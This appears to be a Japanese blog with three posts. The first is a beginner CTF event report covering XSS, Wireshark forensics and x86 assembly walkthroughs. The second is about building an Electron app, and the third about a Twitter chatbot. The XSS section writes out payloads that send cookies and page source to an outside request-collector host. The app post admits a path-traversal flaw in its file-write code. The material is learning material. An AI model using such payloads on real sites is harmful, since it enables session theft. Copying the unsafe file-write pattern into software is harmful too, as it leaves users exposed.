CTF for ビギナーズ 2016 博多に参加してきました
以前から興味があった CTF のイベントがあるということで富士通株式会社九州支部で行われた CTF for ビギナーズ 博多に参加してきました.
Web 講義,フォレンジック講義,バイナリ講義が各60分ずつ,その後 CTF 演習がありました.ビギナーズというだけあって,わかりやすいというか,簡単なところからやっていただいたので良かったです.
Web 講義
まず初めは清水郁実さん(\ (@_193s) | Twitter)の Web 講義.CTF における Web とは Web アプリケーションの脆弱性を突く問題や Web 技術に関する問題が多い.フラグとなる文字列を見つけることは他と同じ.
今回は XSS のお話でした.Cookie を奪取したり.Cookie に httponly という属性が用意されているのは知らなかった.httponly を使用すれば document.cookie からのアクセスを制限できる.
演習で使用した Web サイトのメインページにはログインしたユーザ ID とパスワードが表示されている.まずそんなことはありえないだろうが演習なので気にしてはいけない.RequestBin — Collect, inspect and debug HTTP requests and webhooks を使用してリクエストを受け取った.管理者へのメッセージの送信欄にコードを記述する.ここで送信したメッセージは管理者のブラウザでそのまま表示される.通常はここで適切にエスケープしたりと対策を行う必要がある.だがここでは対策されていないため脆弱性となっている.
location = 'http://requestb.in/~?' + document.cookie
このメインページに httponly が付与されていた場合,上記の方法が利用できないため以下のように Ajax を利用しページのソースコード自体を入手,リクエストを送信する.
xhr = new XMLHttpRequest() xhr.open( 'GET', '/' ) xhr.onload = function(){ location = 'http://requestb.in/~?' + encodeURIComponent( this.responseText ) } xhr.send()
これを見ると httponly は気休めにしかならないことがわかる.高得点問題では他の脆弱性との合わせ技でくることもあるらしい.
フォレンジック講義
次は向佐祐貴さん(進級人間 (@a_r_g_v) | Twitter)のフォレンジック講習.
フォレンジックってなんだと思ってしまった.
コンピュータやネットワークシステムのログや記録,状態を詳細に調査し,過去に起こったことを立証する証拠を集めることを意味します.
はてなの引用,こういうことらしい.CTF においては与えられたファイルから証拠を探す,復元することがこれにあたる.今回は Wireshark を使い pcap ファイルをいじり倒した.実際に使ってみたところ.
ファイルに FLAG という文字列が含まれている場合,ターミナルからでも探せそう.
$ strings lec1.pcap | grep FLAG FLAG{poe}
Display Filter で必要な情報だけを取り出したりもできる.
Filter | 意味 |
---|---|
http | http プロトコル |
tcp.port == 80 | TCP ポートが 80 |
ip.addr == 127.0.0.1 | IP アドレスが 127.0.0.1 |
必要に応じて使い分ける必要がありそう.Display Filter では and や or,以上,以下などの演算子も利用できる.
また TCP Stream を使うと 1 つのコネクションでやり取りされた情報を見ることができる.パケットを右クリック,追跡の TCP Stream から利用する.
パケットを読む際はシナリオを意識するといいらしい.登場人物(IP アドレス),どういうプロトコル,何をしようとしているとか.
送受信されているデータは base64 でエンコードされている場合もある.
echo STRING | base64 --d
こうやってデコードする.エンコードされていると grep などで調べようがない.特徴としては末尾に「=」が付いていること.またパーセントエンコーディングという URI において使用できない文字を使用できる文字に置き換えるエンコードが行われている場合もある.これは nfk コマンドでデコードできる.こんなコマンドがあることは知らなかった.
$ echo STRING | nkf --url-input
次に Wireshark の統計の機能について簡単にまとめる.
Protocol Hierarchy Statistics | Statistics -> Protocol Hierarchy | プロトコルがパケットに占める割合を表示する |
Conversations | Statistics -> Conversations | 誰と誰が通信しているのかを表示する |
Apply Filter | Apply as Filter -> Selected | 選択中の要素から Display Filter を作成する |
Protocol Hierarchy Statistics はどのプロトコルでの通信が少ないかといったことを簡単に確認できる.これならこのプロトコルが使用されているだろうと推測,絞り込んでいく.
最後に Wireshark でのファイルの抽出.
ファイルを受信,送信しているパケットを選択.右クリックで Export Packets Bytes でパケットからファイルを抽出できる.ファイルの拡張子がわからない場合もあるのでマジックナンバーなどはメモしておいたほうがよさそう.
あとはコマンドを幾つか覚えておくといい.
file | ファイルの種類 |
binwalk | ファイルが入れ子になっている場合に有用.-e で抽出もできる |
exiftool | メタ情報の確認,更新 |
strings | ファイルの中を表示 |
バイナリ講義
バイナリ(泣)
ぶっちゃけよく分からない.だって難しいんだもん.ELF バイナリとは Executable and Linkable Format とかいうなんかかっこいい名前を省略したもの.多くの Linux 系,BSD 系の実行バイナリ形式として採用されているらしい.演習ファイルは key を入力し正解であれば次の key の入力へ,不正解であれば処理が中断するという処理の key を自身で見つけ出すというもの.
命令の名前がよくわからなくなる.
mov 命令は値の移動.移動元の数値に変化はない.メモリの参照には大括弧を使う.
mov eax, ebx mov eax, [ebx] mov [eax], ebx
lea 命令は同じく代入命令.ソースオペランドのアドレスを計算して読み込む.以下の二つは互いに同じ意味となる.
lea eax, [ebx+4]
mov eax, ebx add eax, 4
次にスタック操作命令.push 命令は即値,またレジスタの値をスタックに保存する.pop 命令,スタックから値をレジスタに取り出す.
まだまだある.算術演算命令.add 命令は値の加算を行う.
add [ebo-0x4], 0x20
メモリの ebp-0x4 番地の値に 0x20 を加算する.
sub 命令は値の減算を行う.
sub [ebp-0x4], 0x20
基本的に add と同じ.
他にも乗算を行う imul命令 や除算を行う idiv命令,インクリメントの inc命令,デクリメントの dec命令 などがある.
次に論理演算命令.not 命令は否定,and 命令は論理積,or 命令は論理和,xor 命令は排他的論理和,neg 命令は正負反転を表す.
最後にシフト演算命令.shl 命令は左にシフト(2^n倍)し,shr 命令は右にシフト(2^(-1)倍)する.
わかりにくいので表にまとめる.
命令 | 処理 |
---|---|
mov | 代入 |
lea | 代入 |
push | スタック,保存 |
pop | スタック,取り出し |
add | 加算 |
sub | 減算 |
imul | 乗算 |
idiv | 除算 |
inc | インクリメント |
dec | デクリメント |
not | 否定 |
and | 論理積 |
or | 論理和 |
xor | 排他的論理和 |
neg | 正負反転 |
shl | 左シフト |
shr | 右シフト |
ここからは演習の内容をまとめる.演習では終了時点で eax に格納されている値を求める.
0804861a <Stage1>: 804861a: 55 push ebp 804861b: 89 e5 mov ebp,esp 804861d: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8048620: c7 00 e8 88 04 08 mov DWORD PTR [eax],0x80488e8 8048626: 90 nop 8048627: 90 nop 8048628: b8 09 00 00 00 mov eax,0x9 804862d: 8d 58 03 lea ebx,[eax+0x3] 8048630: c0 e0 02 shl al,0x2 8048633: 30 c3 xor bl,al 8048635: 89 d9 mov ecx,ebx 8048637: 29 c1 sub ecx,eax 8048639: 49 dec ecx 804863a: 0f af c1 imul eax,ecx 804863d: 90 nop 804863e: 90 nop 804863f: 5d pop ebp 8048640: c3 ret
途中に出てくる al や bl はレジスタのことらしい.al や bl に対しての演算がどのように影響してくるのかよくわからない.上記の命令と照らし合わせながら解いてみる.
0x08048628 | C言語風 | eax | ebx | ecx |
---|---|---|---|---|
mov eax, 0x9 | eax = 9 | 9 | ||
lea ebx, [eax+0x3] | ebx = eax + 3 | 9 | 12 | |
shl al, 0x2 | al <<= 2 | 36 | 12 | |
xor bl, al | bl ^= al | 36 | 40 | |
mov ecx, ebx | ecx = ebx | 36 | 40 | 40 |
sub ecx, eax | ecx -= eax | 36 | 40 | 4 |
dec ecx | ecx-- | 36 | 40 | 3 |
imul eax, ecx | eax *= ecx | 108 | 40 | 3 |
このとき,eax の最後の値は 108 となる.
次にスタックを利用する.esp レジスタはスタックの一番上を指す.データを積んだ分だけ esp は減っていく.ebp レジスタは関数内でのスタックの底を指す.
08048641 <Stage2>: 8048641: 55 push ebp 8048642: 89 e5 mov ebp,esp 8048644: 83 ec 10 sub esp,0x10 8048647: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 804864a: c7 00 ef 88 04 08 mov DWORD PTR [eax],0x80488ef 8048650: 90 nop 8048651: 90 nop 8048652: c7 45 f8 01 00 00 00 mov DWORD PTR [ebp-0x8],0x1 8048659: 83 45 f8 03 add DWORD PTR [ebp-0x8],0x3 804865d: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8] 8048660: 01 c0 add eax,eax 8048662: 89 45 fc mov DWORD PTR [ebp-0x4],eax 8048665: 8b 45 fc mov eax,DWORD PTR [ebp-0x4] 8048668: 8d 50 03 lea edx,[eax+0x3] 804866b: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8] 804866e: 0f af c2 imul eax,edx 8048671: 89 45 f8 mov DWORD PTR [ebp-0x8],eax 8048674: 90 nop 8048675: 90 nop 8048676: c9 leave 8048677: c3 ret
局所変数を使い置き換える.
DWORD PTR [ebp-0x8] => X DWORD PTR [ebp-0x4] => Y
これにより以下のようになる.
8048652: c7 45 f8 01 00 00 00 mov X,0x1 8048659: 83 45 f8 03 add X,0x3 804865d: 8b 45 f8 mov eax,X 8048660: 01 c0 add eax,eax 8048662: 89 45 fc mov Y,eax 8048665: 8b 45 fc mov eax,Y 8048668: 8d 50 03 lea edx,[eax+0x3] 804866b: 8b 45 f8 mov eax,X 804866e: 0f af c2 imul eax,edx 8048671: 89 45 f8 mov X,eax
見やすくなっているのだろうか.というかもうこれは慣れなんじゃないだろうか.
0x08048652 | C言語風 | eax | edx | X | Y |
---|---|---|---|---|---|
mov X,0x1 | X = 1 | 1 | |||
add X,0x3 | X += 3 | 4 | |||
mov eax,X | eax = X | 4 | 4 | ||
add eax,eax | eax += eax | 8 | 4 | ||
mov Y,eax | Y = eax | 8 | 4 | 8 | |
mov eax,Y | eax = Y | 8 | 4 | 8 | |
lea edx,[eax+0x3] | edx = eax + 3 | 8 | 11 | 4 | 8 |
mov eax,X | eax = X | 4 | 11 | 4 | 8 |
imul eax,edx | eax *= edx | 44 | 11 | 4 | 8 |
mov X,eax | X = eax | 44 | 11 | 44 | 8 |
結果は 44 となる.
次は分岐命令などを使った実行制御の演習.
命令 | 意味 |
---|---|
je | Jump if Equal |
jne | Jump if Not Equal |
jg | Jump if Great |
jge | Jump if Great or Equal |
jl | Jump if Less |
jle | Jump if Less or Equal |
その他にもあるみたい.
ループ命令は cmp 命令と分岐命令を使用して行う.
for( i=0; i<=0x1f; i++ )
を表すときには,
mov [ebp+var_4], 0 cmp [ebp+var_4], 0x1f add [ebp+var_4], 1
となる.実際に見ていく.
08048678 <Stage3>: 8048678: 55 push ebp 8048679: 89 e5 mov ebp,esp 804867b: 83 ec 10 sub esp,0x10 804867e: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8048681: c7 00 f6 88 04 08 mov DWORD PTR [eax],0x80488f6 8048687: 90 nop 8048688: 90 nop 8048689: c7 45 fc 01 00 00 00 mov DWORD PTR [ebp-0x4],0x1 8048690: c7 45 f8 00 00 00 00 mov DWORD PTR [ebp-0x8],0x0 8048697: eb 0a jmp 80486a3 <Stage3+0x2b> 8048699: 8b 45 fc mov eax,DWORD PTR [ebp-0x4] 804869c: 01 45 f8 add DWORD PTR [ebp-0x8],eax 804869f: 83 45 fc 01 add DWORD PTR [ebp-0x4],0x1 80486a3: 83 7d fc 10 cmp DWORD PTR [ebp-0x4],0x10 80486a7: 7e f0 jle 8048699 <Stage3+0x21> 80486a9: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8] 80486ac: 90 nop 80486ad: 90 nop 80486ae: c9 leave 80486af: c3 ret
そろそろわけわからなくなってきた.スライド通り,わかりやすいように置き換える.
var_4 : DWORD PTR [ebp-0x4] => i var_8 : DWORD PTR [ebp-0x8] => X
処理を追うとこうなっているらしい.
0x08048689 | C言語風 | eax | i | X |
---|---|---|---|---|
mov i, 0x1 | i = 1 | 1 | ||
mov X, 0x0 | X = 0 | 1 | 0 | |
jmp 80486a3 | goto 80486a3 | 1 | 0 | |
0x08048699 | C言語風 | eax | i | X |
mov eax, i | eax = i | 1 | 1 | 0 |
add X, eax | X += eax | 1 | 1 | 1 |
add i, 0x1 | i += 1 | 1 | 2 | 1 |
0x080486a3 | C言語風 | eax | i | X |
cmp i, 0x10 | for( i<=0x10 ) | 1 | 0 | |
jle 8048699 | goto 8048699 | 1 | 0 |
はてな記法での表の書き方がいまいちよくわからないのでスライドとは少し違うところがある.1 つめから 3 つめに飛び,最後に 2 つめに飛ぶ.慣れればどうってことないのかな.読むのにすごい時間がかかるというか読めなさそう.
ループは合計で 16 回行われる
n | eax | i | X |
---|---|---|---|
1 | 1 | 2 | 1 |
2 | 2 | 3 | 3 |
15 | 15 | 16 | 120 |
16 | 16 | 17 | 136 |
途中は省略した.結果は 136 となる.
次は関数.call 命令でスタックに積んだ引数を利用し関数を実行する.
func( a, b, c )
は以下のようになる.
sub esp, 0xc mov [esp], a mov [esp+0x4], b mov [esp+0x8], c call func
なるほど(?)
call 命令は関数から戻るためのアドレスを自動で push する.
080486b0 <Stage4>: 80486b0: 55 push ebp 80486b1: 89 e5 mov ebp,esp 80486b3: 83 ec 18 sub esp,0x18 80486b6: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80486b9: c7 00 fd 88 04 08 mov DWORD PTR [eax],0x80488fd 80486bf: 90 nop 80486c0: 90 nop 80486c1: c7 44 24 08 03 00 00 00 mov DWORD PTR [esp+0x8],0x3 80486c9: c7 44 24 04 fb ff ff ff mov DWORD PTR [esp+0x4],0xfffffffb 80486d1: c7 04 24 0b 00 00 00 mov DWORD PTR [esp],0xb 80486d8: e8 07 00 00 00 call 80486e4 <Stage4_subfunc> 80486dd: 83 c0 03 add eax,0x3 80486e0: 90 nop 80486e1: 90 nop 80486e2: c9 leave 80486e3: c3 ret 080486e4 <Stage4_subfunc>: 80486e4: 55 push ebp 80486e5: 89 e5 mov ebp,esp 80486e7: 83 ec 10 sub esp,0x10 80486ea: 90 nop 80486eb: 90 nop 80486ec: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80486ef: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 80486f2: 8b 45 0c mov eax,DWORD PTR [ebp+0xc] 80486f5: 89 45 f8 mov DWORD PTR [ebp-0x8],eax 80486f8: 8b 45 10 mov eax,DWORD PTR [ebp+0x10] 80486fb: 89 45 fc mov DWORD PTR [ebp-0x4],eax 80486fe: 90 nop 80486ff: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8] 8048702: 01 45 f4 add DWORD PTR [ebp-0xc],eax 8048705: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 8048708: 29 45 fc sub DWORD PTR [ebp-0x4],eax 804870b: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8] 804870e: 0f af 45 fc imul eax,DWORD PTR [ebp-0x4] 8048712: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 8048715: 90 nop 8048716: 90 nop 8048717: c9 leave 8048718: c3 ret
引数はこんな感じらしい.
mov DWORD PTR [esp+0x8], 0x3 mov DWORD PTR [esp+0x4], 0xfffffffb mov DWORD PTR [esp], 0xb call 80486e1 <Stage4_subfunc> add eax, 0x3
わかりにくいので.
引数 | 値 |
---|---|
[esp] | 11 |
[esp+0x4] | -5 |
[esp+0x8] | 3 |
結果として Stage4_subfunc( 11, -5, 3 ) と同じ意味になる.
先ほどの演習を解くために置き換える.
DWORD PTR [ebp-0xc] => X DWORD PTR [ebp-0x8] => Y DWORD PTR [ebp-0x4] => Z
mov eax, DWORD PTR [ebp+0x8] mov X, eax mov eax, DWORD PTR [ebp+0xc] mov Y, eax mov eax, DWORD PTR [ebp+0x10] mov Z, eax
このときスタックはこうなっている.
X | -0xC |
Y | -0x8 |
Z | -0x4 |
old_ebp | ebp |
0x080486dd | +0x4 |
11 | +0x8 |
-5 | +0xC |
3 | +0x10 |
この Stage4_subfunc 関数の処理を追ってみる.
0x080486fe | C言語風 | eax | X | Y | Z |
---|---|---|---|---|---|
nop | 11 | -5 | 3 | ||
mov eax, Y | eax = Y | -5 | 11 | -5 | 3 |
add X, eax | X += eax | -5 | 6 | -5 | 3 |
mov eax, X | eax = X | 6 | 6 | -5 | 3 |
sub Z, eax | Z -= eax | 6 | 6 | -5 | 3 |
mov eax, Y | eax = Y | -5 | 6 | -5 | -3 |
imul eax, Z | eax *= Z | 15 | 6 | -5 | -3 |
mov X, eax | X = eax | 15 | 15 | -5 | -3 |
Stage4_subfunc を抜けた後は add 命令が行われている.
0x080486fb | eax |
---|---|
call 80486e4 |
15 |
add eax, 0x3 | 18 |
結果は 18 となる.なるほどわからん.ほとんどスライドの内容を丸写ししてるだけになっている.ごめんなさい.でも自分で読んでみるのも楽しかった.GUI のソフトもあるらしい.IDA free/IDA demo というもの.視覚的にわかりやすくなるのはとてもありがたい.
CTF 演習
感想としてはめちゃくちゃ楽しい.開発は飽き性の自分との戦いのような気がしてならないが CTF は周りの人と競い合うので楽しい.やはりゲーム感覚で行えるところがいいのでしょうか.解けない問題があるとすごい悔しい.
1100 点で 8 位.ビギナーズですし解ける問題もあったので良かった.右下は全滅している.Web 問題の PHP! PHP! PHP! はどこかで解いたような問題で,後々見てみると ksnctf に似たような問題があった.
PHP! PHP! PHP! は単純にパラメータをつけてあげる.
?var1[]=&var2=1e3
エクスポートできるかな?は謎のテキストファイルをエクスポートしてデコードしたら出てきた.
$ echo 'Y3RmNGJ7NTM2ZGFjMzcxYWE2NTJmODY1YzIwYWJlN2I0MDk0ZGJ9' | base64 --d ctf4b{536dac371aa652f865c20abe7b4094db}
この 2 つ,Web と Forensics の 200 点問題は以前やったことがあった.ちゃんと解いた問題はメモしておいたほうがよさそう.すぐ忘れてしまう.あと,もう少し落ち着いて解いたほうがよかった.ビギナーズですし問題が簡単に作ってあるのだとは思う.それでも解けると楽しい.いやこれ楽しいです.
次の日,17日の SECCON はハードウェア CTF ということで今回は見送り.でも大会に出てみるのも絶対に楽しい.次は出てみたい.
CTF for ビギナーズの後は博多駅でもつ鍋食べました.
ラーメンを投入!
とても美味しかった.
サイバー防犯ボランティアでアプリを作った
前回のサイバー防犯ボランティア九州フォーラムで発表した通り,最低限の機能を持ったアプリケーションを今月中に公開することができた.
http://calmery.hatenablog.com/entry/2016/06/13/001846calmery.hatenablog.com
明日から少しの間はゆっくり寝れる.開発の時間が短すぎたり色々問題が起こったりとそこそこ時間がかかってしまった.情報を共有するためのサーバの実装まで間に合わなかったのが心残り.近いうちに実装したいと思う.
疲れた.あとアプリケーションの見た目を作ってくれる人を探したい.今回は見た目も頑張ったがもうやりたくない.次回は情報の共有と検索の強化に努める.隠語のリストなどまだ実装してない部分が多い為これも近いうちに実装したい.現在三人でアプリケーション,サーバ,ライブラリと別れて作業している.時間があれば問題はないだろうけど辛い.そろそろ人を増やしたい.
開発環境
現在は NodeJS v5.10.0 と npm 3.8.3 を使用して開発を進めている.拡張を進めるにあたって以下のようにレポジトリを取得する.よくよく見てみると README には Node v4.4.7 LTS を入手と書いていた.動くのでどちらでもいいかも.
calmery:git calmery$ git clone https://github.com/calmery/spotlight.git Cloning into 'spotlight'... remote: Counting objects: 107, done. remote: Compressing objects: 100% (81/81), done. remote: Total 107 (delta 40), reused 67 (delta 15), pack-reused 0 Receiving objects: 100% (107/107), 473.23 KiB | 376.00 KiB/s, done. Resolving deltas: 100% (40/40), done. Checking connectivity... done. calmery:git calmery$ cd spotlight calmery:spotlight calmery$ npm install spotlight@0.1.0 /Users/calmery/Git/spotlight ├─┬ electron@0.4.1 ├─┬ express@4.14.0 ├─┬ express-session@1.14.0 ├─┬ passport@0.3.2 ├─┬ passport-twitter@1.0.4 ├─┬ socket.io@1.4.8 └── twitter@1.3.0
中身はこうなっている.
├── config │ └── config.js ├── icon.ico ├── index.js ├── library │ ├── electron.js │ ├── express.js │ └── twitter.js ├── node_modules ├── package.json ├── spotlight.icns ├── spotlight.iconset └── view ├── edit.html ├── index.html ├── information.html ├── list.html ├── newUser.html ├── resources │ ├── css │ ├── font │ └── js ├── search.html ├── setting.html ├── setup.html └── vote.html
恐い人たちから何だこの構成はと怒られそうだが大目に見ていただきたい.
実行
Electron を使用して動かす.このままでは動かないのでさらに必要なモジュールを入手する.
$ npm install -g electron-prebuilt $ npm install -g electron-packager
これでアプリケーションを実行できる.場所によって引数を変えて実行する.
$ electron .
開発
まず library だがここにモジュールごとに処理を分けている.次に view には実際に表示に利用する html がある.どれがどれに対応しているかは express.js のルーティングを見ていただければわかる.
実際の実装だが表示を行う html ファイルと NodeJS は socket.io を使って通信を行うようにしている.またユーザの登録とアプリケーションの利用で起動時にルーティングを分けている.これはもともと Web 上に登録ページを作ってそこからアプリケーションのユーザ登録をするはずだったが,登録ページの作成が間に合わず,期間ギリギリでユーザ登録をアプリケーションに後付けで実装したためこうなってしまった.あと検索結果をファイルとして書き出してしまっていること,ファイル名の指定方法によってはいろいろ危ないことがある.
... var error fs.writeFile( __dirname + '/data/result/' + data.name + '.json', JSON.stringify( data.data ), function( err ){ if( err ) error = true ...
この辺りがとても危ない.近いうちに修正する.保存のとき,名前に「../」とかつけちゃダメ.あとファイルを書き出して保存するかわりに SQLite3 を使いたい.初めは使うつもりだったが調べてみると SQLite3 をインストールする必要があるだとかないだとか.自分は入っていて動作するがアプリケーションとして配布したときに動かなかったら意味がない.試す時間が惜しかったので今回はそのまま.インストールする必要がないのであれば利用したい.もしインストールする必要がある場合で使用できないときでももっといい方法を考えたい.
実際にアプリケーションとして書き出す方法は後述するが,ここでハマったので書いておく.初めルーティング部分に渡す関数で以下のように指定していた.
function( request, response ){ response.sendfile( __dirname + '/../view/index.html' ) }
だが electron-packager を利用し書き出した後に実際に実行してみると以下のように出てうまく動かなかった.
ForbiddenError: Forbidden at SendStream.error (/Users/calmery/Cyber/node_modules/send/index.js:275:31) at SendStream.pipe (/Users/calmery/Cyber/node_modules/send/index.js:508:12) at sendfile (/Users/calmery/Cyber/node_modules/express/lib/response.js:1051:8) at ServerResponse.res.sendfile (/Users/calmery/Cyber/node_modules/express/lib/response.js:481:3) at ServerResponse.eval [as sendfile] (eval at wrapfunction (/Users/calmery/Cyber/node_modules/depd/index.js:413:5), <anonymous>:4:11) at fn (/Users/calmery/Cyber/library/express.js:32:26) at Layer.handle [as handle_request] (/Users/calmery/Cyber/node_modules/express/lib/router/layer.js:95:5) at next (/Users/calmery/Cyber/node_modules/express/lib/router/route.js:131:13) at Route.dispatch (/Users/calmery/Cyber/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/Users/calmery/Cyber/node_modules/express/lib/router/layer.js:95:5)
調べてみると絶対パスで指定すればいいような感じ.いやなってそうだけどと思いつつ node.js - Express res.sendfile throwing forbidden error - Stack Overflow を見て path.resolve で囲ったらいけた.
function( request, response ){ response.sendfile( path.resolve( __dirname + '/../view/index.html' ) ) }
配布
electron-packager を使用しアプリケーションとして書き出す.アイコンは OS ごとに決まった形で指定する必要がある.
$ electron-packager . SpotlightBeta --platform=win32,darwin --arch=x64 --version=1.2.4
OS X の場合は少し面倒だった.nulab さんの記事,Electronアプリをプロダクトとして「正しく」リリースするために必要な3つのこと | ヌーラボ と
Macアプリの.icnsを作るときのメモ - Qiita を参考にするといいがアイコンとする画像をサイズごとに用意しコマンドで icns に変換する.面倒くさい.
calmery:spotlight calmery$ iconutil -c icns spotlight.iconset calmery:spotlight calmery$ electron-packager . Spotlight --platform=darwin --arch=x64 --version=1.2.4 --overwrite --icon=spotlight.icns The strict-ssl parameter is deprecated, use download.strictSSL instead Packaging app for platform darwin x64 using electron v1.2.4 Wrote new app to /Users/calmery/spotlight/Spotlight-darwin-x64
Windows の場合は単純に ico に変換すればいい.アイコンの関係上,まとめて書き出すのはあまり良くないような気がする.
参考
【連載第1回】passportを使ってoauth認証を実装してみよう【Twitter編】 | 株式会社LIG
Electronアプリをプロダクトとして「正しく」リリースするために必要な3つのこと | ヌーラボ
30分で出来る、JavaScript (Electron) でデスクトップアプリを作って配布するまで - Qiita
electron-packager
node.js - Express res.sendfile throwing forbidden error - Stack Overflow
Node.jsで配下ファイルを含めフォルダを削除 - Qiita
fs.statSyncでファイルの存在判定 - Qiita
Macアプリの.icnsを作るときのメモ - Qiita
開発時に参考にさせていただきました.ありがとうございました.
ユーザーローカルの人工知能ボットAPIを使ってTwitterの自動返答ボットを作った
ユーザーローカルの人工知能ボット API の提供が開始されたということで Twitter のボットを作ってみた.
API のドキュメントが何処にあるのかわからないから簡単にまとめておく.
https://chatbot-api.userlocal.jp/api/chat?message=MESSAGE&key=API_KEY
で送ったメッセージへの返事がが返ってくる。ただ返答の精度はあまり良くないように思った.
{"status":"success","result":"だょね~"}
実装は Node.JS を使った.ストリーミングで自分へのリプライを監視し、受け取ったメッセージを API に送る.返された返答をそのままツイートするだけ.ただこれだと自分で自分にリプライを送ったときリプライ合戦が始まってしまう.でもこれはこれで見ていて面白かったのでそのままで.
var twitter = require( 'twitter' ) var request = require( 'request' ) var twit = new twitter( { consumer_key : 'CONSUMER_KEY', consumer_secret : 'CONSUMER_SECRET', access_token_key : 'ACCESS_TOKEN_KEY', access_token_secret: 'ACCESS_TOKEN_SECRET' } ) var baseUrl1 = 'https://chatbot-api.userlocal.jp/api/chat?message=' var baseUrl2 = '&key=API_KEY' twit.stream( 'statuses/filter', { track: '@calmeryme' }, function( stream ){ stream.on( 'data', function( data ){ var user = data.user.screen_name, twid = data.id, mention = data.text.replace( /@calmeryme\s+/, '' ) request( baseUrl1 + encodeURI( mention ) + baseUrl2, function( error, response, body ){ var result if( !error && response.statusCode == 200 ) result = '@' + user + ' ' + JSON.parse(body).result else result = '@' + user + ' ' + mention + ' => error: ' + response.statusCode twit.post( 'statuses/update', { status: result, in_reply_to_status_id: twid }, function( err, data, response ){ console.log( '@' + user + ' : ' + mention + ' => ' + result ) } ) } ) } ) } )
Twitter だけでなく LINE などと組み合わせても面白そう.キャラクター会話変換や氏名自動識別,形態素解析もあるので色々試してみたい.